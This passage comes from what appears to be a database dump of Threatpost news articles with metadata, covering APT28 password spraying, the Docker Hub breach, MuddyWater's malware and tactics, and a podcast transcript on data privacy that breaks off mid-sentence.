spray-capability,\u201d specific indicators of compromise (IOC) can be easily altered to bypass IOC-based mitigation, the advisory explained. Thus, while the advisory lists specific indicators, authorities also advised organizations to consider denying all inbound traffic from known Tor nodes and public VPN services to Exchange servers or portals that don\u2019t normally see that kind of access.\n\n## Mitigations\n\nBeyond authorities\u2019 suggestion to consider shutting off the spigot on Tor and VPN services where that makes sense, the advisory also listed a number of standard and not-so-standard mitigations, summed up in an executive summary:\n\n\u201cNetwork managers should adopt and expand usage of multi-factor authentication to help counter the effectiveness of this capability. Additional mitigations to ensure strong access controls include time-out and lock-out features, the mandatory use of strong passwords, implementation of a Zero Trust security model that uses additional attributes when determining access, and analytics to detect anomalous accesses.\u201d\n\nBut one expert \u2013 Tom (TJ) Jermoluk, CEO and co-founder of Beyond Identity, raised a hairy eyeball at the notion that stronger passwords can do anything to protect against password spraying, particularly when it comes on top of a concerted effort to gather valid credentials.\n\n\u201cRussian GRU agents and other state actors like those involved in SolarWinds \u2013 and a range of financially motivated attackers (e.g., ransomware) \u2013 all use the same \u2018password spraying\u2019 brute force techniques,\u201d he told Threatpost in an email on Friday. \u201cWhy? Because they are so effective. Unfortunately, a misunderstanding of this technique is leading to shockingly flawed advice like that given in the NSA advisory which, in part, recommends \u2018mandating the use of stronger passwords.'\u201d\n\nHe added, \u201cThe credential-gathering that preceded the password spraying campaign most certainly collected short and strong passwords. And the Russian Kubernetes cluster used in the attack was capable of spraying \u2018strong passwords.'\u201d\n\n## The Continuing Threat\n\nOn Friday, Russia\u2019s embassy in Washington issued a statement on [Facebook](<https://www.facebook.com/RusEmbUSA>) in which it \u201ccategorically\u201d rejected the allegations, noting that \u201cWe emphasize that fighting against cybercrime is an inherent priority for Russia and an integral part of its state policy to combat all forms of crime.\u201d\n\nJust a few of the recent campaigns attributed to Russia\u2019s military unit:\n\n**April 2021**: The [NSA linked APT29 ](<https://threatpost.com/nsa-security-bugs-active-nation-state-cyberattack/165446/>)to Russia\u2019s Foreign Intelligence Services (SVR), as the U.S. formally attributed the recent [SolarWinds supply-chain attacks](<https://threatpost.com/solarwinds-orion-bug-remote-code-execution/163618/>) to the SVR and issued sanctions on Russia for cyberattacks and what President Biden called out as interference with U.S. elections.\n\n**November 2020: **Microsoft reported that APT28 joined in the feeding frenzy as one of three major APTs that [went after pharma](<https://threatpost.com/russia-north-korea-attacking-covid-19-vaccine-makers/161205/>) and clinical organizations involved in COVID-19 research.\n\n**September 2020**: Microsoft issued a warning that members of the Russian military unit were attempting to [harvest Office 365](<https://threatpost.com/apt28-theft-office365-logins/159195/>) credentials in the runup to U.S. elections, targeting mainly election-related organizations. The company noted at the time that the group had attacked more than 200 organizations last year, including political campaigns, advocacy groups, parties and political consultants. Those targets included think-tanks such as The German Marshall Fund of the United States, The European People\u2019s Party, and various U.S.-based consultants serving Republicans and Democrats.\n\nSaying that we can\u2019t let down our guards would be quite the understatement, according to Check Point spokesperson Ekram Ahmed: \u201cGRU continues to be a threat that we can\u2019t ignore,\u201d he observed to Threatpost on Friday. \u201cThe scale, reach and pace of their operations are alarming, especially with the 2021 Summer Olympics around the corner.\u201d\n\nIn fact, in October 2020, the U.K.\u2019s NCSC, in a joint operation with U.S. intelligence, said that that\u2019s exactly what was in the works, accusing Russian military intelligence services of [planning a cyberattack](<https://www.theguardian.com/world/2020/oct/19/russia-planned-cyber-attack-on-tokyo-olympics-says-uk>) on the [Japanese-hosted Olympics](<https://www.sportingnews.com/au/other-sports/news/tokyo-olympic-games-2021-will-they-go-ahead/1gv928rhuuo0o1ucb6481onp4m>), scheduled to start in three weeks on July 23 after having been postponed due to the pandemic.\n\n_**Check out our free **_[_**upcoming live and on-demand webinar events**_](<https://threatpost.com/category/webinars/>)_** \u2013 unique, dynamic discussions with cybersecurity experts and the Threatpost community.**_\n", "cvss3": {}, "published": "2021-07-02T16:14:14", "type": "threatpost", "title": "Kubernetes Used in Brute-Force Attacks Tied to Russia\u2019s APT28", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2020-0688", "CVE-2020-17144"], "modified": "2021-07-02T16:14:14", "id": "THREATPOST:B25070E6CF075EEA6B20C4D8D25ADBE8", "href": "https://threatpost.com/kubernetes-brute-force-attacks-russia-apt28/167518/", "cvss": {"score": 9.0, "vector": "AV:N/AC:L/Au:S/C:C/I:C/A:C"}}, {"lastseen": "2020-04-08T11:52:03", "description": "UPDATE\n\nDocker Hub has confirmed that it was hacked last week; with sensitive data from approximately 190,000 accounts potentially exposed.\n\n\u201cOn Thursday, April 25th, 2019, we discovered unauthorized access to a single Hub database storing a subset of non-financial user data,\u201d Kent Lamb, director of Docker Support, said in an email over the weekend, which a Docker user [posted on online](<https://news.ycombinator.com/item?id=19763413>). \u201cUpon discovery, we acted quickly to intervene and secure the site.\u201d\n\nThe container specialist noted that it was a \u201cbrief period\u201d of unauthorized access that impacted less than 5 percent of Hub users; however, the data includes usernames and hashed passwords, as well as Github and Bitbucket tokens for Docker autobuilds.\n\n[![](https://media.threatpost.com/wp-content/uploads/sites/103/2019/02/19151457/subscribe2.jpg)](<https://threatpost.com/newsletter-sign/>) \nDocker has revoked GitHub tokens and access keys for affected accounts, and the company warned that this may affect ongoing builds from its automated build service; users \u201cmay need to [unlink and then relink](<https://docs.docker.com/docker-hub/builds/link-source/>) your GitHub and BitBucket source provider,\u201d Lamb warned.\n\nTorsten George, cybersecurity evangelist at Centrify, told Threatpost that \u201cWhen you dig deeper into the details of the breach, you\u2019ll see that it\u2019s not about the numbers, but the reach. The big issue about this breach is the fact that the database included tokens from other much-used developer resources, including GitHub and Bitbucket. This breach stresses the importance of application-to-application password management (AAPM) and temporary credentials rather than permanent ones.\u201d\n\n## Ramifications and What to Do\n\nCleanup from the incident could be significant endeavor, according to researchers.\n\n\u201cAs a result of this breach, it\u2019s possible that images in your Docker Hub repository may have been tampered with or overwritten,\u201d Wei Lien Dang, vice president of product at StackRox, told Threatpost. \u201cAttacks on the build pipeline can have serious downstream effects on what is currently running inside your infrastructure. Tainted images can be difficult to detect, and the containers launched from them may even run as expected, except with a malicious process in the background. If you use Docker Hub with Kubernetes environments, you\u2019ll also need to roll your ImagePullSecrets.\u201d\n\nEven though the passwords were hashed, Docker Hub users should change their passwords on Docker Hub and any other accounts that share that password. Users can also [view security actions](<https://help.github.com/en/articles/reviewing-your-security-log%20and%20https:/bitbucket.org/blog/new-audit-logs-give-you-the-who-what-when-and-where>) on GitHub and BitBucket accounts to check for unauthorized access.\n\n\u201cUnexpected changes in images will have an effect on application behavior, making runtime detection and application baselining critical,\u201d Dang said. \u201cCharacterizing the behaviors of individual Kubernetes deployments will highlight deviations in network connectivity, file access and process executions. These deviations are all indicators that malicious activity is taking place within a container. You need the ability to quickly inspect runtime activity within your containers to verify they are running only expected processes.\u201d\n\nAlso, because Docker didn\u2019t provide a specific timeline for this breach, no one knows how long ago the unauthorized access occurred. \u201cAs with most breaches, the perpetrators may have had access to compromised resources significantly longer than just last week,\u201d Dang said. \u201cTo be safe, you should verify recently pushed images going back over the past several weeks. Doing this audit can be difficult, as not every registry will let you filter the data by image age.\u201d\n\n## Docker: An Escalating Target?\n\nDocker has been in the security headlines before in the recent past; for instance, in January, researchers [hacked the Docker test platform](<https://threatpost.com/hack-allows-escape-of-play-with-docker-containers/140831/>) called Play-with-Docker with a proof-of-concept hack, allowing them to access data and manipulate any test Docker containers running on the host system. The team was able to escape the container and run code remotely right on the host.\n\nAlso, last year 17 malicious docker images [were found available](<https://threatpost.com/malicious-docker-containers-earn-crypto-miners-90000/132816/>) on Docker Hub that allowed hackers to earn $90,000 in cryptojacking profits.\n\nAnd Docker [in 2017 patched](<https://threatpost.com/docker-patches-container-escape-vulnerability/123161/>) a privilege escalation vulnerability that could also have lead to container escapes, allowing a hacker to affect operations of a host from inside a container.\n\nContainers are increasing in popularity among DevOps users in companies of all sizes because they facilitate collaboration, which optimizes their ability to deliver code fast to virtual environments. However, Lacework in [an analysis in 2018](<https://threatpost.com/22k-open-vulnerable-containers-found-exposed-on-the-net/132898/>) noted that securing workloads in public clouds requires a different approach than that used for traditional data centers, where APIs drive the infrastructure and create short-lived workloads. In turn, they\u2019re also becoming more interesting to cybercriminals, Dan Hubbard, chief security architect at Lacework, told Threatpost.\n\nEnterprises also report an accelerating number of container attacks. In fact, 60 percent of respondents in [a recent survey](<https://threatpost.com/threatlist-container-security/140614/>) acknowledged that their organizations had been hit with at least one container security incident within the past year. In companies with more than 100 containers in place, that percentage rises to 75 percent.\n\n_This story was updated on April 30 to add insight into potential repercussions of the incident. _\n", "cvss3": {}, "published": "2019-04-29T14:13:23", "type": "threatpost", "title": "Docker Hub Hack Affects 190K Accounts, with Concerning Consequences", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2020-0688"], "modified": "2019-04-29T14:13:23", "id": "THREATPOST:B047BB0FECBD43E30365375959B09B04", "href": "https://threatpost.com/docker-hub-hack/144176/", "cvss": {"score": 9.0, "vector": "AV:N/AC:L/Au:S/C:C/I:C/A:C"}}, {"lastseen": "2022-01-13T18:12:51", "description": "U.S. Cyber Command has confirmed that [MuddyWater](<https://threatpost.com/wirte-middle-eastern-governments/176688/>) \u2013 an advanced persistent threat (APT) cyberespionage actor aka Mercury, Static Kitten, TEMP.Zagros or Seedworm that\u2019s historically [targeted government victims](<https://threatpost.com/muddywater-apt-custom-tools/144193/>) in the Middle East \u2013 is an Iranian intelligence outfit.\n\nThe link has been suspected, and now it\u2019s government-stamped. On Wednesday, USCYBERCOM not only confirmed the tie; it also disclosed the plethora of open-source [tools and strategies](<https://www.cisa.gov/uscert/ncas/current-activity/2022/01/12/cnmf-identifies-and-discloses-malware-used-iranian-apt-muddywater>) MuddyWater uses to break into target systems and released malware samples.\n\n\u201cMuddyWater has been seen using a variety of techniques to maintain access to victim networks,\u201d according to USCYBERCOM\u2019S National Mission Force (CNMF). \u201cThese include side-loading DLLs in order to trick legitimate programs into running malware and obfuscating PowerShell scripts to hide command and control functions.\u201d\n\nUSCYBERCOM has uploaded multiple MuddyWater-attributed malware samples to [VirusTotal](<https://www.virustotal.com/gui/user/CYBERCOM_Malware_Alert>).\n\n> Iranian MOIS hacker group [#MuddyWater](<https://twitter.com/hashtag/MuddyWater?src=hash&ref_src=twsrc%5Etfw>) is using a suite of malware to conduct espionage and malicious activity. If you see two or more of these malware on your network, you may have MuddyWater on it: <https://t.co/xTI6xuQOg3>. Attributed through [@NCIJTF](<https://twitter.com/ncijtf?ref_src=twsrc%5Etfw>) [@FBI](<https://twitter.com/FBI?ref_src=twsrc%5Etfw>)\n> \n> \u2014 USCYBERCOM Cybersecurity Alert (@CNMF_CyberAlert) [January 12, 2022](<https://twitter.com/CNMF_CyberAlert/status/1481341952247349248?ref_src=twsrc%5Etfw>)\n\nUSCYBERCOM\u2019s [press release](<https://www.cybercom.mil/Media/News/Article/2897570/iranian-intel-cyber-suite-of-malware-uses-open-source-tools/>) described MuddyWater as being \u201ca subordinate element within the Iranian Ministry of Intelligence and Security (MOIS).\u201d The [Congressional Research Service](<https://crsreports.congress.gov/product/pdf/RL/RL32048>) describes MOIS as conducting \u201cdomestic surveillance to identify regime opponents\u201d and said that the agency is responsible for surveillance of anti-regime activists abroad through a network of agents placed in Iran\u2019s embassies.\n\n## New Variants of PowGoop Malware\n\nAmong multiple malware sets, MuddyWater is using new variants of the PowGoop malware family, CNMF said.\n\nPowGoop was first [described](<https://unit42.paloaltonetworks.com/thanos-ransomware/>) by Palo Alto Networks in September 2020, when it was used in attacks on two state-run organizations in the Middle East and North Africa that ultimately installed and ran a variant of the [Thanos](<https://threatpost.com/thanos-ransomware-weaponize-riplace-tactic/156438/>) ransomware.\n\nAt the time, Palo Alto suspected that the threat actors were using a downloader \u2013 one that researchers dubbed PowGoop \u2013 to reach out to a remote server to download and execute PowerShell scripts. The name comes from the use of GoogleUpdate.exe to load a malicious, modified version of goopdate.dll \u2013 a DLL that\u2019s used to load a malicious PowerShell script from an external file.\n\nPowGoop has been buffed up since it was first spotted: SentinelLabs on Wednesday [explained](<https://www.sentinelone.com/labs/wading-through-muddy-waters-recent-activity-of-an-iranian-state-sponsored-threat-actor/>) that significantly enhanced, newer variants of PowGoop have shown up in the wild, discovered in recently triaged incidents, \u201csuggesting the group continues to use and maintain it even after recent exposures.\u201d\n\n\u201cThe new variants reveal that the threat group has expanded its arsenal of legitimate software used to load malicious DLLs,\u201d SentinelOne intelligence researcher Amitai Ben Shushan Ehrlich wrote.\n\nEhrlich explained that, aside from GoogleUpdate.exe, three more benign pieces of software are abused in order to sideload malicious DLLs: Git.exe, FileSyncConfig.exe and Inno_Updater.exe.\n\nCNMF has shared new samples showing the different parts of MuddyWater\u2019s new suite of tools, along with JavaScript files used to establish connections back to malicious infrastructure. They include new PowGoop command-and-control (C2) beacon variants as well as the Mori Backdoor: a backdoor used for cyber espionage that employes DNS tunneling to communicate with the C2 infrastructure.\n\n\u201cAny instances of these files may indicate an attacker in the network,\u201d CNMF reiterated about newly released and already known indicators of compromise (IoC). \u201cShould a network operator identify multiple of the tools on the same network, it may indicate the presence of Iranian malicious cyber actors.\u201d\n\n## Love of Tunneling, Exchange Exploits & Ruler Abuse\n\nSentinelLabs drilled down into multiple additional recent findings about MuddyWater\u2019s techniques, tactics and procedures (TTPs), including:\n\n**MuddyWater Tunneling Activity: **\u201cThe operators behind MuddyWater activities are very fond of tunneling tools,\u201d SentinelOne\u2019s Ehrlich wrote. \u201cThe custom tools used by the group often provide limited functionality, and are used to drop tunneling tools which enable the operators to conduct a wider set of activities.\u201d\n\nMuddyWater attackers are using tunneling tools including Chisel, SSF and Ligolo: tools that enable the threat actor to connect to machines within target environments as if they were inside the operator LAN, he explained.\n\n[![](https://media.threatpost.com/wp-content/uploads/sites/103/2022/01/13120926/Summary-of-MuddyWater-tunneling-using-Chisel--e1642093784315.png)](<https://media.threatpost.com/wp-content/uploads/sites/103/2022/01/13120926/Summary-of-MuddyWater-tunneling-using-Chisel--e1642093784315.png>)\n\nSummary of MuddyWater tunneling using Chisel. Source: Sentinel Labs.\n\n**Exploiting Microsoft Exchange: **Sentinel Labs has also tracked MuddyWater targeting Exchange servers of high-profile organizations. \u201cThis subset of Exchange exploitation activity is rather interesting, as without context it would be difficult to attribute it to MuddyWater because the activity relies almost completely on publicly available offensive security tools,\u201d Ehrlich noted.\n\nThey\u2019re using two tools to try to exploit Exchange servers: a publicly available script for exploiting [CVE-2020-0688](<https://threatpost.com/microsoft-exchange-exploited-flaw/159669/>) \u2013 a vulnerability that enables remote code execution (RCE) for an authenticated user \u2013 and Ruler, an open source Exchange exploitation framework recently used to target a string of Middle Eastern telecom operators and IT companies, as [reported](<https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/espionage-campaign-telecoms-asia-middle-east>) by Symantec\u2019s Threat Hunter Team last month.\n\n## MuddyWater: Better & Better at Stirring Up Muck\n\nAnalysis shows that the MuddyWater APT continues to evolve and adapt its techniques Sentinel Labs summarized. \u201cWhile still relying on publicly available offensive security tools, the group has been refining its custom toolset and utilizing new techniques to avoid detection,\u201d Ehrlich observed, pointing to evolution of the PowGoop malware family, the group\u2019s use of tunneling tools, and its targeting of Exchange servers in high-profile organizations.\n\nThe group doesn\u2019t have to be fancy to be effective, he noted: \u201cLike many other Iranian threat actors, the group displays less sophistication and technological complexity compared to other state-sponsored APT groups. Even so, it appears MuddyWater\u2019s persistency is a key to their success, and their lack of sophistication does not appear to prevent them from achieving their goals.\u201d\n\n**Password** **Reset: ****[On-Demand Event](<https://threatpost.com/webinars/password-reset-claiming-control-of-credentials-to-stop-attacks/>):** Fortify 2022 with a password security strategy built for today\u2019s threats. This [Threatpost Security Roundtable](<https://threatpost.com/webinars/password-reset-claiming-control-of-credentials-to-stop-attacks/>), built for infosec professionals, centers on enterprise credential management, the new password basics and mitigating post-credential breaches. Join Darren James, with Specops Software and Roger Grimes, defense evangelist at KnowBe4 and Threatpost host Becky Bracken. **[Register & Stream this FREE session today](<https://threatpost.com/webinars/password-reset-claiming-control-of-credentials-to-stop-attacks/>)** \u2013 sponsored by Specops Software.\n", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "LOW", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2022-01-13T17:35:34", "type": "threatpost", "title": "US Military Ties Prolific MuddyWater Cyberespionage APT to Iran", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.0, "vectorString": "AV:N/AC:L/Au:S/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "SINGLE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2020-0688"], "modified": "2022-01-13T17:35:34", "id": "THREATPOST:6EA5AB7FCD767A01EA56D7EEF6DA0B0A", "href": "https://threatpost.com/us-military-ties-muddywater-cyberespionage-apt-iran/177633/", "cvss": {"score": 9.0, "vector": "AV:N/AC:L/Au:S/C:C/I:C/A:C"}}, {"lastseen": "2020-04-08T11:52:11", "description": "Data privacy has been an outstanding theme this past week, and the Threatpost team discussed the biggest privacy related news. In the news wrap podcast for April 26, the team discussed the backstories behind several reports from the week, including:\n\n * Facebook potentially [facing Federal Trade Commission (FTC) fines](<https://threatpost.com/facebook-5-billion-ftc-fine/144104/>) as high as $5 billion for its data-security practices\n * A report that employees at Amazon can [access geolocation information](<https://threatpost.com/amazon-employees-personal-alexa/144119/>) for Alexa users\n * Questions around data security and consent around[ facial recognition](<https://threatpost.com/facial-recognition-consent-doesnt-exist-threatpost-poll-finds/144126/>) after the EU\u2019s approval of a massive biometrics database\n * The exposure of [2 million passwords](<https://threatpost.com/leaky_app_data/144029/>) for Wi-Fi hotspots online by an insecure database\n\n[\ufeff\n\n](<http://iframe%20style=border:%20none%20src=//html5-player.libsyn.com/embed/episode/id/9544445/height/360/theme/legacy/thumbnail/yes/direction/backward/%20height=360%20width=100%%20scrolling=no%20%20allowfullscreen%20webkitallowfullscreen%20mozallowfullscreen%20oallowfullscreen%20msallowfullscreen/iframe>)\n\n_Below is a lightly edited transcript of the podcast._\n\n**Lindsey O\u2019Donnell**: Welcome to the Threatpost podcast, and the Threatpost team is all here this Friday morning. You\u2019ve got Lindsey O\u2019Donnell and I\u2019m here with Tara Seals and Tom Spring. Hey, everyone.\n\n**Tara Seals:**Hey, Lindsey.\n\n**Tom Spring: **How\u2019s it going, Lindsey? How\u2019s it going, Tara?\n\n**Lindsey**: Good. So, privacy has really been kind of the name of the game this week, in terms of all the stories that we\u2019ve written. And I know, we had a lot of data privacy type stories, everything from Amazon Echo privacy issues to facial recognition. But if we\u2019re talking about data privacy, I think we should really start by bringing Facebook into the conversation here, as we usually do.\n\n**Tara: **Yeah, that seems to have been a top theme of the week for sure. And you did a ton of reporting on that this week.\n\n**Lindsey: **Yeah, so, the big news this week was that Facebook may be facing fines of between $3 to $5 billion for that FTC fine that was related to the Cambridge Analytica incident last year, and all of their data privacy issues that they\u2019ve had since then. So, Facebook had its earnings and disclosed this amount of money that is set aside as contingency expenses. And I feel like we keep hearing about reports of Facebook, having all these data sharing incidents, or having all these crazy data practices, but now we\u2019re really looking at the consequences. And everyone\u2019s wondering how data collection and sharing will be regulated and what kind of fines we\u2019ll see. So that should be interesting to keep an eye on how this actually plays out in the coming months.\n\n**Tara: **Yeah, and I wonder in terms of all of that, when we talk about the GDPR, over in Europe, and how it has really stringent requirements for explicit consent before somebody harvests your data, which obviously is not something that Facebook adheres to, for U.S. citizens anyway \u2013 have there been any rumblings out there in terms of whether or not Facebook might face future regulation?\n\n**Lindsey: **I think that\u2019s there\u2019s been a lot of discussion about it. I know, obviously, Mark Zuckerberg has appeared in front of Congress. And it\u2019s definitely been at the forefront of discussion. But beyond some state-level data privacy practice regulations, it\u2019s something that people are still trying to figure out. So I think that\u2019s kind of why this FTC fine is at the center of attention. There was news today, actually, that the _New York Times _was talking to sources who said that the FTC is discussing stronger monitoring of Facebook\u2019s privacy policies, as well as direct punishment of Mark Zuckerberg. So that raises questions about how to deal with data sharing, whether it\u2019s kind of hitting at the CEO, or even just imposing bigger fines. But Tara, I know, you listen to the actual earnings call. Were there any special call outs about the fine or data security in general? I\u2019m curious if they talked about it at all.\n\n**Tara:**They studiously avoided talking about the fines specifically, which, it\u2019s a charge off of, they added $3 billion, and they said it could go up to as much as $5 billion, and so that ate into their profit, which is kind of interesting, because they reported, I think it was, I don\u2019t have it in front of me, but I think it was around like $2.3 billion in profit for the quarter.\n\nAnd that that is taking into account that $3 billion contingency fine. And they didn\u2019t really specifically discuss it. But they did say that they expected profits to continue to waver a little bit going forward, due to regulatory headwinds, as well as advertising-related falloff, because they\u2019re not sure that they can make the same amount of revenue off of ad targeting that they have in the past.\n\nSo that sort of in a roundabout way speaks to the fact that they\u2019re looking into making some changes in terms of how they collect and use user data. But that\u2019s sort of reading between the lines, and they certainly didn\u2019t say anything explicit about it, unfortunately.\n\n**Lindsey: **Right. Well, I know one big point of discussion was, is this enough? How does this compare to past fines? Because I know Facebook has faced various fines in the past, which Tara you have actually written about. I think it was in December it was fined like $11 million. And then in October, it was fined $645,000. So obviously, those kind of shy away in comparison to $5 billion, but I think people are still kind of asking, how does this compare? Facebook\u2019s kind of overall \u2013\n\n**Tara: **Yeah, their overall profit, annual, you know, $3 to 5 billion is significant for them, actually.\n\n**Tom:**Well, I just looked it up. Facebook made more than $40 billion in revenue in 2017.\n\n**Tara: **What\u2019s the profit? That\u2019s the real marker right?\n\n**Tom: **Well, it is the real marker.\n\n**Lindsey: ** I\u2019m curious what will come out of it. But I do know that everyone\u2019s really looking at this as some sort of precedent for how Facebook will be regulated in the future, if it continues with the data security issues that have been happening over the past year, since Cambridge Analytica.\n\n**Tara: **One of the things too, Lindsey, that I wanted to ask you about was, you know, [the poll that we did](<https://threatpost.com/three-fourths-of-consumers-dont-trust-facebook-threatpost-poll-finds/143963/>) on attitudes towards Facebook. But, you know, also in the wake of their earnings that showed that they had seen an 8 percent year over year, subscriber jump, so the headlines, even though people are sort of horrified by them, they\u2019re not really dissuading people from actually using the platform, which I think is interesting. And then also their stock price just skyrocketed, after they reported their earnings, even with the charge off for the fine. So I don\u2019t know, I don\u2019t know what\u2019s going to happen in the future and whether any of this is going to make a difference in terms of whether or not it\u2019s successful as a company.\n\n**Tom: **I was just thinking, I think that, it\u2019d be interesting to watch the regulatory space to see what the U.S. does, especially with GDPR, in terms of what\u2019s going on in Europe, and really a constant sort of, you know, march of bad news in terms of privacy, and also with breaches that are taking place, not only with Facebook, but with a ton of other companies \u2013 I think what we\u2019re doing is we\u2019re setting up in 2020, and beyond some new rules around privacy and some new regulations around privacy. Because I mean, as you just pointed out, Tara, fines and threats and punishments are not really are impacting the way Facebook\u2019s doing business or hurting them in terms of their business model.\n\n**Lindsey: **Right. I don\u2019t think at all that people are going to stop using Facebook. And I mean, to be totally honest, even if they do adopt some sort of model where you pay to use the platform without advertising or without your data being collected and shared \u2013 I\u2019m not sure how many people would even opt in for that as well. I mean, I could be completely wrong. But I don\u2019t know if people are going to pay an extra like $5 a month or something to use a social media platform that\u2019s already free.\n\n**Tom: **Yeah, I don\u2019t think anybody\u2019s going to be paying. But I think what you\u2019ll see is probably some government intervention. That\u2019s my prediction. I mean, the things that we regulate here in the U.S. \u2013 these companies, whether it be Amazon, Google, or Facebook, they\u2019ve basically had a clear runway to do whatever they wanted for I don\u2019t know how many years. And, you know, if you think about all the different things that we regulate in this country, privacy really isn\u2019t one of them right now, but certainly isa right target for legislators to focus on.\n\n**Lindsey: **Right. That\u2019s the good point. Speaking of Amazon, I know, Tara, you covered a really interesting story this week too about news of their auditing program for Echo devices, which had already been reported. But now I guess a new report said that they\u2019re also exposing geolocation data, in addition to voice data. Can you add some color there?\n\n**Tara: **Sure. So, this story was really interesting to me. And it\u2019s not just Echo either. It\u2019s also, you know, the other Alexa devices including the Fire TV devices and there are tons of third-party gadgets that have Alexa built in now. So this is kind of a broad reaching story, from an Internet of Things perspective. But yeah, so apparently, and as you pointed out, this is something that _Bloomberg _had broken a story on about three weeks ago, talking about the fact that Amazon has a team of people in place that may manually audit Alexa interactions to make sure that the AI is learning appropriately. And it\u2019s been effective and accurate and returning good results for users, and all that kind of thing. But what\u2019s interesting is in the process of that, this data, which is supposed to be anonymous, right? So it\u2019s just sort of random snippets \u2013 human people will listen to this, and then see what Alexa\u2019s response was matched up, make sure that it\u2019s accurate, do whatever secret sauce they have to do with the algorithm and the AI to fix it, or to make her smarter \u2013 But in the process of this, apparently, geolocation data gets scooped up here. Because when people ask, Alexa, tell me what the weather forecast is, or Alexa, I\u2019m feeling like Chinese, is anybody delivering to my house, that type of thing. That necessarily, obviously, those local results have to be tied to geolocation data. So they\u2019re scooping up and harvesting and storing and logging GPS coordinates, in addition to sort of these random, other snippets. And so there were five different employees within Amazon that are working on this program, that basically came forward and said that they feel that nobody gave their consent for this and that it\u2019s too broad of an access for them to have. And then they actually on a whim, sort of plugged these coordinates into Google Maps and found that they could actually track somebody\u2019s place of business or their house, and even bring up a picture of that house. And through other means, actually identify who lives there, and then tie all this other information together and be able to create a very creative profile.\n\n**Tom: **I agree with you, Tara, I think that we need to be more concerned about the privacy that we hand over to these types of digital devices. And I\u2019m even more concerned now about the privacy issues that have surround geo-specific apps, where you\u2019re using an app and it understands where you\u2019re at and gives you sort of context-relevant information, and how that data is being used, and who\u2019s using it, and who\u2019s collecting it. When you think about Amazon, they\u2019re a much more potentially powerful company considering all the tentacles that it has into my buying and my data, and my home with their Alexa speakers.\n\n**Lindsey:**Yeah, that\u2019s a really good point. And I\u2019m curious too about the consent and notification side of all of this. I mean, did they have any response Tara about if they gave any notification that they were doing any of this at all? Is there anything on Amazon\u2019s website about this program?\n\n**Tara: **No, no, this was completely in the background until _Bloomberg _came forward with their report, they didn\u2019t acknowledge that it exists. And they just put out a statement saying, you know, we take privacy seriously. And saying, we limit, the number of people that have access to this, who are tasked with doing this as part of their job, and they\u2019re bound by, you know, all kinds of restrictions and things like that it\u2019s highly controlled.\n\n**Tom: **I gotta come back to the point where I feel like this is an area ripe for regulation. I\u2019m not pro regulation but I mean, if this is something that consumers are outraged about \u2013 I think there\u2019s got to be a GDPR type regulations that we\u2019re going to see here in the U.S. that that are going to impact the Facebook\u2019s and the Amazons in the world.\n\n**Tara: **Right and now, we have other types of privacy and sort of potentially intrusive privacy issues to worry about too \u2013 Lindsey, going back to some of the reporting you did this week, but with the facial recognition stuff is happening. You know that that seems like sort of the Wild West out there. There\u2019s no regulation around that.Right?\n\n**Lindsey: **Well, yeah, exactly. And the scary thing about that, too, is that a lot of the facial recognition applications out there are actually being used by the government. So by the Department of Homeland Security and by policemen and whatnot. But yeah, facial recognition came up in the headlines a bunch this week, because there\u2019s been two different incidents. The first was you guys may have heard the EU last week approved a massive biometrics database that would combine the data from law enforcement, from Border Patrol, and more for both EU and non US citizens. So there was that. And then there was another incident this week that occurred where a JetBlue passenger was boarding a flight. And she noticed that instead of scanning her boarding pass, or taking a look at her passport, she was directed to look into a camera, before being allowed on onto the jet bridge. So she was confused about what was going on and so tweeted at JetBlue. And it turns out, this was part of a Customs and Border Patrol program that\u2019s used in I think, 17 airports, where it uses facial recognition to identify passengers and let them through the gateway onto the plane. So her tweet went viral and kind of started this massive conversation about facial recognition and you know, if you can consent and where the data is coming from, how it\u2019s being shared. So that\u2019s been a really interesting story to cover, and kind of see the backlash and reaction to both of these incidents.\n\n**Tom: **I can relate to that. I recently traveled to Mexico, for a little vacation. And, I am seeing facial recognition more and more in my life. I think the interesting thing about your story, Lindsey, was also you wrote about consent, whether or not all of these facial recognition systems actually ask for consent and get consent, which they don\u2019t. But when I went to Mexico, we flew into Mexico, and then we went through customs in Mexico, and Mexico had immigration kiosks, where they asked for facial recognition and fingerprints, and to scan our passports, which \u2013 I was really creeped out. My son, who\u2019s 14 years old, I think probably is now part of the government database of fingerprints and facial recognition. It was kind of weird. Considering, you know, he\u2019d been off grid, perhaps I think for a while now, he\u2019s part of the system. And then we flew back into the United States. There was these huge immigration lines in the Boston Airport. And one of the things that we were able to do was to cut the line by using what was called a mobile passport app. And I didn\u2019t realize it but when you use the app, and you get to skip this, this huge onerous line that goes to basically more facial recognition kiosks for people coming into the United States. And the app itself was pretty slick. I mean, it\u2019s kind of funny, because I felt really good about using the app, because it allowed me to cut in line. But the app basically did a facial recognition, had me input my passport information, and basically, took my identity in this app. And, I was so eager to cut the line, I gotta admit, I kind of skipped over a lot of the terms of services. And it saved me about 45 minutes. And for the price of handing over my biometric data to the government and to this to this app.\n\n**Lindsey: **That experience brings up a really good point, because, I think that there definitely are benefits to facial recognition. Like, it\u2019s not all about this dire Orwellian society. I think it makes these processes so much more efficient. But I do think there\u2019s also a bunch of kind of privacy concerns that people expressed to me over the past week. And, Tom, like you were saying, consent and notification, but then also in terms of how the data is being secured, how it\u2019s being shared, and who\u2019s gaining access to that data. So I think that there\u2019s kind of a lot that goes into it. I know that we actually did a poll, a Threatpost poll, and half of the respondents, this kind of surprised me, but half of the respondents said that they don\u2019t believe consent is realistically possible when it comes to facial recognition. So I thought that was interesting, too, because if you think about some of the use cases 